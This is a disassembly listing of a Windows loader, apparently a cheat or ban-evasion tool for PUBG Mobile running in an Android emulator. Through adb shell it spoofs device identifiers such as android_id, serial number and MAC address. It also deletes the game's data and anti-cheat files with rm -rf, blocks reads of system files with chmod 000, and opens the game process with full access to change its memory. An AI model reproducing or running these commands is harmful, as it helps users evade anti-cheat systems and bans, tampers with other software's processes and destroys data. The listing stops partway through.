mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.Starting_gameloop
mov ecx, eax
call fcn.0045fda0
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
push 0x3e8
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x456500
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._nGameloop_process_is_loaded
mov ecx, eax
call fcn.0045fda0
push 0x3e8
call edi
mov ecx, dword [ebp - 0x168]
call fcn.00457ac0
call fcn.0046b530
call fcn.0046b600
call fcn.00456df0
nop dword [eax + eax]
call fcn.00458860
test eax, eax
je 0x45a5b7
cmp eax, 1
je 0x45a5b7
push str.adb_kill_server
call esi
add esp, 4
lea ecx, [ebp - 0x160]
call fcn.00458a70
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x12c]
push 8
mov dword [ebp - 0x12c], 0
push str.emulator
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
call fcn.0045edb0
sub esp, 0x18
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x160]
mov dword [ebp - 0x1c4], esp
mov ecx, esp
push eax
call fcn.0045d790
sub esp, 0x18
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x12c]
mov ecx, esp
push eax
call fcn.0045d790
mov byte [ebp - 4], 0xe
call fcn.00458ba0
add esp, 0x30
cmp eax, 0xffffffff
jne 0x45a5c3
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x45a579
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x45a56f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45a634
push edx
push ecx
call fcn.005bb0da
add esp, 8
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x14c]
cmp edx, 0x10
jb 0x45a5b7
mov ecx, dword [ebp - 0x160]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x45a5ad
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45a634
push edx
push ecx
call fcn.005bb0da
add esp, 8
push 0xbb8
call edi
jmp 0x45a490
push 0x2710
call edi
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x45a604
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x45a5fa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45a634
push edx
push ecx
call fcn.005bb0da
add esp, 8
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x14c]
cmp edx, 0x10
jb 0x45a644
mov ecx, dword [ebp - 0x160]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x45a63a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45a63a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005bb0da
add esp, 8
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x456560
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._nPlease_wait
mov ecx, eax
call fcn.0045fda0
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x456560
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x456560
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x456560
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
push 0x3e8
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._nConnecting_to_driver
mov ecx, eax
call fcn.0045fda0
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
push 0x3e8
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x456500
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._nConnected_to_driver
mov ecx, eax
call fcn.0045fda0
push 0x3e8
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._nSetting_required_files
mov ecx, eax
call fcn.0045fda0
push 0x32
call edi
push 0x4565c0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
push 0x32
call edi
push 0x3e8
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x456620
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._n4_KB_s__5_bytes_in_0.000s_
mov ecx, eax
call fcn.0045fda0
push 0xc8
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x456620
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._n5_KB_s__6_bytes_in_0.000s_
mov ecx, eax
call fcn.0045fda0
push 0xc8
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x456620
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._n0_KB_s__7_bytes_in_1.000s_
mov ecx, eax
call fcn.0045fda0
push 0x1f4
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x456500
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._nFiles_done
mov ecx, eax
call fcn.0045fda0
cmp dword [ebp - 0x16c], 1
jne 0x45ab88
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4564d0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._nDevice_ID_reseting
mov ecx, eax
call fcn.0045fda0
sub esp, 0x18
mov ecx, esp
push 0x50
push str.adb_shell_setprop_ro.product.device__random_6b1a77f674510efbe5216b1b1b41_random_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.00456ba0
mov ecx, esp
push 0x8d
push str.adb_shell_content_insert___uri_content:__settings_secure___bind_name:s:android_id___bind_value:s:_random_6b1a77f674510efbe5216b1b1b41_random_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.00456ba0
mov ecx, esp
push 0x55
push str.adb_shell_settings_put_secure_android_id__random_6b1a77f674510efbe5216b1b1b41_random_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.00456ba0
mov ecx, esp
push 0x33
push str.adb_shell_rm__rf__sdcard_Android_.system_android_l2
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.00456ba0
mov ecx, esp
push 0x50
push str.adb_shell_setprop_ro.product.device__random_6b1a77f674510efbe5216b1b1b41_random_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.00456ba0
mov ecx, esp
push 0x4f
push str.adb_shell_setprop_ro.product.brand__random_6b1a77f674510efbe5216b1b1b41_random_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_setprop_ro.product.model__random_6b1a77f674510efbe5216b1b1b41_random_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045ed80
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_setprop_ro.product.name__random_6b1a77f674510efbe5216b1b1b41_random_
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_setprop_ro.product.manufacturer__random_6b1a77f674510efbe5216b1b1b41_random_
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_setprop_ro.android_id__random_6b1a77f674510efbe5216b1b1b41_random_
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_setprop_net.hostname__random_6b1a77f674510efbe5216b1b1b41_random_
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_setprop_gaid__random_6b1a77f674510efbe5216b1b1b41_random_
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_setprop_android.device.id__random_6b1a77f674510efbe5216b1b1b41_random_
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_setprop_ro.serialno__random_6b1a77f674510efbe5216b1b1b41_random_
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_setprop_ro.runtime.firstboot__random_6b1a77f674510efbe5216b1b1b41_random_
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_setprop_ro.mac_address__random_6b1a77f674510efbe5216b1b1b41_random_
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_rm__rf__data_data_com.tencent.ig_cache_
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_rm__rf__data_data_com.tencent.ig_code_cache_
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_rm__rf__data_data_com.tencent.ig_shared_prefs_
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_rm__rf__data_data_com.tencent.ig_databases_
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_rm__rf__data_data_com.tencent.ig_files_.system_android_l2
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_rm__rf__sdcard_Android_data_com.tencent.ig_cache_
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_rm__rf__sdcard_Android_data_com.tencent.ig_files_.system_android_l2
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_rm__rf__sdcard_Android_data_com.tencent.ig_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_SaveGames_.json
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_chmod_000__proc_cpuinfo_meminfo__system_build.prop__sys_devices_system_cpu_cpu0_cpufreq_cpuinfo_min_freq_cpuinfo_max_freq__sys_class_power_supply_battery_capacity
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_rm__rf__sdcard_Android_data_com.tencent.ig_cache_files_.fff_ca_bundle.pem_login_identifier.txt_.system_android_l2
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_rm__rf__sdcard_Android_data_com.tencent.ig_files_UE4Game_ShadowTrackerExtra_Epic_Games_TGPA
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_rm__rf__sdcard_Android_.system_android_12
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_rm__rf__sdcard_Android_data_com.tencent.ig_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Intermediate
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_touch__sdcard_Android_data_com.tencent.ig_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Intermediate
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.adb_shell_setprop_ro.product.device__random_6b1a77f674510efbe5216b1b1b41_random_
call fcn.0045d750
call fcn.00456ba0
add esp, 0x18
push 0x1f4
call edi
push 0x456500
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._nGuest_Reset_Done
mov ecx, eax
call fcn.0045fda0
push 0xfa0
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._nLaunching_pubgm
mov ecx, eax
call fcn.0045fda0
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x6375b8
mov ecx, eax
call fcn.0045fda0
mov ecx, dword [ebp - 0x130]
call fcn.004581f0
call fcn.0046b530
call fcn.0046b6a0
call fcn.0046b7e0
mov esi, eax
mov dword [ebp - 0x1c8], esi
test esi, esi
je 0x45ac3a
cmp esi, 1
jne 0x45ac43
push 0x3e8
call edi
jmp 0x45ac24
push 0x1068
call edi
push 0x32
call edi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push 0x1fffff
call esi
push 0x5dc
mov dword [0x64f730], eax
call edi
mov ecx, dword [ebp - 0x1c8]
call fcn.00458c90
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.Scanning_For_Game_Instance
mov ecx, eax
call fcn.0045fda0
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
push 0x1f4
call edi
mov ecx, 0xe0c3868
call fcn.004605d0
mov ecx, 0xe0c0c28
mov dword [0x64f744], eax
call fcn.004605d0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x456500
mov dword [0x64f740], eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._nFound_the_Process_0x4acc
mov ecx, eax
call fcn.0045fda0
push 0x258
call edi
push dword [ebp - 0x1c8]
push 0
push 0x1fffff
call esi
cmp dword [0x64f744], 0
mov dword [0x64f730], eax
jne 0x45ad91
mov eax, dword [0x64f73c]
test eax, eax
je 0x45ad69
cmp eax, 0x2d
jne 0x45ad86
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x456590
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._n___Bypassing_failure_______
mov ecx, eax
call fcn.0045fda0
cmp dword [ebp - 0x130], 2
je 0x45add6
jmp 0x45add1
cmp dword [ebp - 0x170], 1
jne 0x45add1
movss xmm1, dword [0x6390f0]
call fcn.00458f00
movss xmm1, dword [0x6390f0]
call fcn.00458f00
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x456500
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._nIpad_View_Activated
mov ecx, eax
call fcn.0045fda0
call fcn.00458fa0
mov ecx, dword [ebp - 0x1c8]
call fcn.00458cd0
push 0x190
call edi
call fcn.00456df0
call fcn.0046b530
call fcn.0046b740
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._nKEEP_THIS_WINDOW_OPENED_UNTIL_YOU_FINISH_PLAYING_
mov ecx, eax
call fcn.0045fda0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._nDONT_CLOSE_EMULATOR_WITHOUT_SAFE_EXIT___n
mov ecx, eax
call fcn.0045fda0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x456560
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.Press:_1_for_safe_exit_n
mov ecx, eax
call fcn.0045fda0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea eax, [ebp - 0x174]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
cmp dword [ebp - 0x174], 1
jne 0x45b017
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x456530
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.Closing
mov ecx, eax
call fcn.0045fda0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x456530
